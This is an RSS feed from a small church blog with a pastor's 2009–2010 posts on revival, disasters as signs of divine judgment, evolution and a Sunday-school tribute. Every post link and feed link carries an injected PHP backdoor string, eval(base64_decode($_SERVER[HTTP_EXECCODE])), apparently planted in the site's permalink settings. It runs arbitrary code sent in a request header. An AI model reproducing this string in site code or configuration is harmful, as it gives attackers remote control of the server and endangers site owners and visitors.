http://bbcstar.org/blog Fri, 04 Jun 2010 10:39:21 +0000 http://wordpress.org/?v=2.6.5 en The Need for Revival http://bbcstar.org/blog/2010/06/04/the-need-for-revival/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://bbcstar.org/blog/2010/06/04/the-need-for-revival/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 04 Jun 2010 10:39:21 +0000 admin http://bbcstar.org/blog/?p=86 As one looks around the nation, a startling revelation begins to cover you.  There is something very dark and and sinister covering the land.  We  are approaching a summer of unrelenting disaster.  The southern gulf and port are being covered by oil that keeps rushing out of the bottom of the ocean.

It all has a feeling of watching a movie.  Because it is unbelievable that such an event could occur in our times and with no way to stop it.   The part that is so unbelievable is that no plans were made for this event.  All logic would tell you that sooner or later an accident would occur.  Now we face a nightmare.

An entire way of life is going to be changed forever in the region.  Lives, hopes, dreams, all gone!  Yet, this only one of many shattering events that have occurred in the past 10 years.  Could any serious Bible student miss the connection between our abandoning God and these disasters?

What will it take to bring the nation back to reality.  This nation has recognized God, the God of Abraham, Issac, and Jacob as it’s God.  Our founding fathers understood that He and He alone, watched over the land.  When we decided that we would take that in our hands, our path was carved.

Only a REVIVAL from Heaven will heal this nation.  Pray for it and share your conviction with others.  If REVIVAL lingers, we will be facing a grave situation very shortly.

]]> http://bbcstar.org/blog/2010/06/04/the-need-for-revival/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ ‘The Earth trying to give birth!’ http://bbcstar.org/blog/2010/01/16/the-earth-trying-to-give-birth/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://bbcstar.org/blog/2010/01/16/the-earth-trying-to-give-birth/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 16 Jan 2010 18:09:55 +0000 admin http://bbcstar.org/blog/?p=84 In light of the terrible tragedy in Haiti, we must remember that the earth is under a curse from sin.  In the beginning, it was peaceful, beautiful, and God walked on it, but sin has come to destroy it.  The Bible is very plain about the events of earth.

Sin will reign till Jesus returns and ushers in the ‘Kingdom of Peace and glory’.  It is very interesting when Jesus talked about the end of the age, he specially mentioned the increase in earthquakes.  The Scriputes also tells us the Earth is in ‘birthing pain’ for a New Age to dawn.

The earthquakes are a sign of the soon coming of Son of Man in all His glory!  Like a mother about to give birth, the earth is in termoil as the new age dawns in front of us! 

So, we can expect the number and intensity of these to grow.  Natural disastors scream out the climax of man’s rule on earth and sitting-up of Golden Age of Christ!

Dr. Gary Ervin

]]> http://bbcstar.org/blog/2010/01/16/the-earth-trying-to-give-birth/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ ‘Learning to Read the Signs’ http://bbcstar.org/blog/2009/10/14/learning-to-read-the-signs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://bbcstar.org/blog/2009/10/14/learning-to-read-the-signs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 14 Oct 2009 09:29:56 +0000 admin http://bbcstar.org/blog/?p=81 When dark clouds gather and you hear the rumble of thunder in the background…..you know that a storm is approaching.  Jesus told His followers once that they could discern the weather but not the time they were living in.

In A.D. 79 the Roman cities of Pompeii and Herculaneum could see the smoke rising and could hear the rumblings of the earth.  But they could not understand what was about to happen.  Suddenly Mt. Vesuvius errupted with such force that the entire population was killed while they were in their routine.

People were at the market, the rich were accumulating wealth, the slaves were toiling in the fields, and all of a sudden…..destruction.  Weeks before the explosion, the earth rumbled and shuck and the population could have escaped.  The smoke kept rising from the furnace of the mountain.  The population could not read the signs and flee!

This world is beset with all kinds of signs that tell us the judgment of God is coming…..yet most of our neighbors, co-workers, and family members can’t read the signs.  May God help us be a voice in the time we live to sound the warning.

Pastor Gary

]]> http://bbcstar.org/blog/2009/10/14/learning-to-read-the-signs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Change Your God! http://bbcstar.org/blog/2009/08/30/change-your-god/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://bbcstar.org/blog/2009/08/30/change-your-god/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 30 Aug 2009 06:43:04 +0000 admin http://bbcstar.org/blog/?p=77 America is a nation that likes change.  Our very nature as Americans is rooted in continual change.  Change can be good.  No one wants to live in the 19th century or even 20 years ago.

But…..We have now embarked on a change that will prove to be very painful.  Americans seem to want to change their God.  We now have taken God’s Word and made it to fit our ideas of the Almighty Creator.

On the subject of Jesus being the only way to Heaven…..in a recent New York Times article, the writer said ‘Americans aren’t buying it!’.  Since when did God change His word or Himself because Americans don’t like what they read in scripture????

It has been suggested that we are now acting like Hindues.  We pick our God and believe what we choose.  The Bible indicates that the ‘heavens are startled’ by this very notion.

Will this nation wake up?  At this moment, it seems that we refuse to honor God or His Word.  What is life going to be like when 300 million people have 300 million gods???

No nation on earth has ever gone down this road.  Where it leads us, only God our Father knows for sure.  Pray for REVIVAL in the land…..it is indeed our only source of hope for a future.

Bro. Gary

]]> http://bbcstar.org/blog/2009/08/30/change-your-god/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ ‘Remembering’ http://bbcstar.org/blog/2009/08/11/remembering/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://bbcstar.org/blog/2009/08/11/remembering/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 11 Aug 2009 10:32:44 +0000 admin http://bbcstar.org/blog/?p=75 A very special group of people spent several years in a SS Class at Pink Ridge Baptist Church in the late ’60’s and into the early ’80’s.  This class was taught by Miss Flora Jefferies.

She devoted most of her life to reaching the kids of the community.  She singled handley had her own youth program!  I was one of those kids. 

I remember the first time that a white Ford came down a dusty road and the door opened so I could go to church.  It was my first time.  I thought it was all just a ‘bunch’ of events……I now know it was the hand of God doing he guiding. 

We will gather on August 22 and celebrate her life and pause to remember what a grand lady she was indeed!  The young people of the community will be looking for ‘Miss Flora’ when we get to Heaven.  We will have a lot of ‘Remembering’ and weeping to do because she led us to the gates of heaven.

This is a tribute to her and the ‘works that follow her’.  I look forward to clasping hands again in a land where all things are new!

Bro. Gary

]]> http://bbcstar.org/blog/2009/08/11/remembering/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ ‘A Call to Truth’ http://bbcstar.org/blog/2009/07/01/a-call-to-truth/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://bbcstar.org/blog/2009/07/01/a-call-to-truth/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 01 Jul 2009 10:33:48 +0000 admin http://bbcstar.org/blog/?p=71 As we approach the July 4th. celebration…the nation finds itself, not only at war 6000 miles away, but in a war at home.

We are struggling with truth.  We are attempting to kill truth but it will not die!  We have outlawed it, railed against it, stabbed it, shot it, ignored it, and finally tried to bury it!  But it will not die!

Truth keeps rising from every attack.  Truth always emerges stonger and more bold  than ever before.  The God of America is God-Jehoviah.  The God of Abraham, Issac, and Jacob.  No matter how you try to abolish it……that truth keeps rising up in front of us.

In the years to come….believes will have to stand on truth.  It will be the one thing that will not be shaken.  Wave a flag this July 4 and know that God is in control of it all. 

Dr. Gary

]]> http://bbcstar.org/blog/2009/07/01/a-call-to-truth/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ ‘Monkey With a Thumb…is Your Aunt???’ http://bbcstar.org/blog/2009/05/20/monkey-with-a-thumbis-your-aunt/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://bbcstar.org/blog/2009/05/20/monkey-with-a-thumbis-your-aunt/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 20 May 2009 09:55:56 +0000 admin http://bbcstar.org/blog/?p=69 Now  the world is confronted with a monkey (discovered in Germany) with a thumb.  She could be your aunt!  The evolution crowd can make a case out of the most dumb collection of findings.

A close look will reveal that this is really about a TV program and MONEY!  The Discovery Channel has partnered with ABC to bring us this News that ‘will change everything’.  Most Americans will see through this immediately….It’s just a another ‘great event’ to make money and ratings.  Shame on you Discovery Channel, shame on you ABC, and shame on you who are taken in by this hoax!

It always surprises me how the liberal crowd keeps trying to convince us that we are nothing more than a ‘biological accident’.   Rest assured that God is having a big ‘laugh’ over this MAJOR EVENT!

Bro. Gary

]]> http://bbcstar.org/blog/2009/05/20/monkey-with-a-thumbis-your-aunt/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ ‘Overwhelmed By It All!’ http://bbcstar.org/blog/2009/05/19/overwhelmed-by-it-all/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://bbcstar.org/blog/2009/05/19/overwhelmed-by-it-all/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 19 May 2009 08:40:50 +0000 admin http://bbcstar.org/blog/?p=65 The world is certainly changing fast!  On the international front, we are becoming more ‘global’ and the world is shrinking quickly.  There is a spirit afoot to bring the world together in one big ‘family’.  This event is not unlike the Tower of Babble in the OT.

But, there is a dark cloud that is decending on the earth’s population.  Man has always wanted to sin and move on without consequences.  God has a plan to reveal what sin can really do to the mind and heart of an unregenerated soul.

Soon the ‘darkest of darkness’ will rise from the earth to take control of the world.  Men will be looking for a cave or hole to hide from the face of the coming ‘King of Kings’.

Get ready!  The hour is approaching when God calls His church to meet Him!  Will you be in that number????   I pray so………

 

Br. Gary

]]> http://bbcstar.org/blog/2009/05/19/overwhelmed-by-it-all/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ “Here Comes The Flu!” http://bbcstar.org/blog/2009/04/29/here-comes-the-flu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://bbcstar.org/blog/2009/04/29/here-comes-the-flu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 29 Apr 2009 10:34:30 +0000 admin http://bbcstar.org/blog/?p=63 America is still living in a decade of pain.  Since 2000, America has faced one disaster after another.  We have fought 2 wars, faced the ravages of nature, a financial melt-down and now the flu!

Does anyone wonder what God may be telling us?  We continue to journey on a road away from truth.  Can a nation continue on this course?  History and the Bible points us to this unshakable fact.  No nation has ever survived without God.

Regardless of the age that we live in or the affluence we gain, without God in the middle of life, it is all an exercise of futility.  Solomon said it all:  ‘life is all vanity of vanities’ without God.

Will America wake up before the foundation is destroyed?

Gary Ervin

]]> http://bbcstar.org/blog/2009/04/29/here-comes-the-flu/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ ‘The Christian Faith…dying?’ http://bbcstar.org/blog/2009/04/06/the-christian-faithdying/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://bbcstar.org/blog/2009/04/06/the-christian-faithdying/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 06 Apr 2009 13:21:03 +0000 admin http://bbcstar.org/blog/?p=58 Time Magazine is doing a story this week on the ‘Christian Faith in America’ and how many people are abandoning it.  The article is a fair one.  It points out that the church in America has tried to legislate it’s beliefs in the culture.  It also points out that this approach does not work.  Jesus said that His kingdom was not of this world.

The Church MUST return to what it is called to accomplish.  We are to share the Word of God and do the good works of Him who has sent us.  In a world of unbelievable pain, suffering, and need, there is plenty of opportunity to serve and reach out a  helping hand.

Bro. Gary

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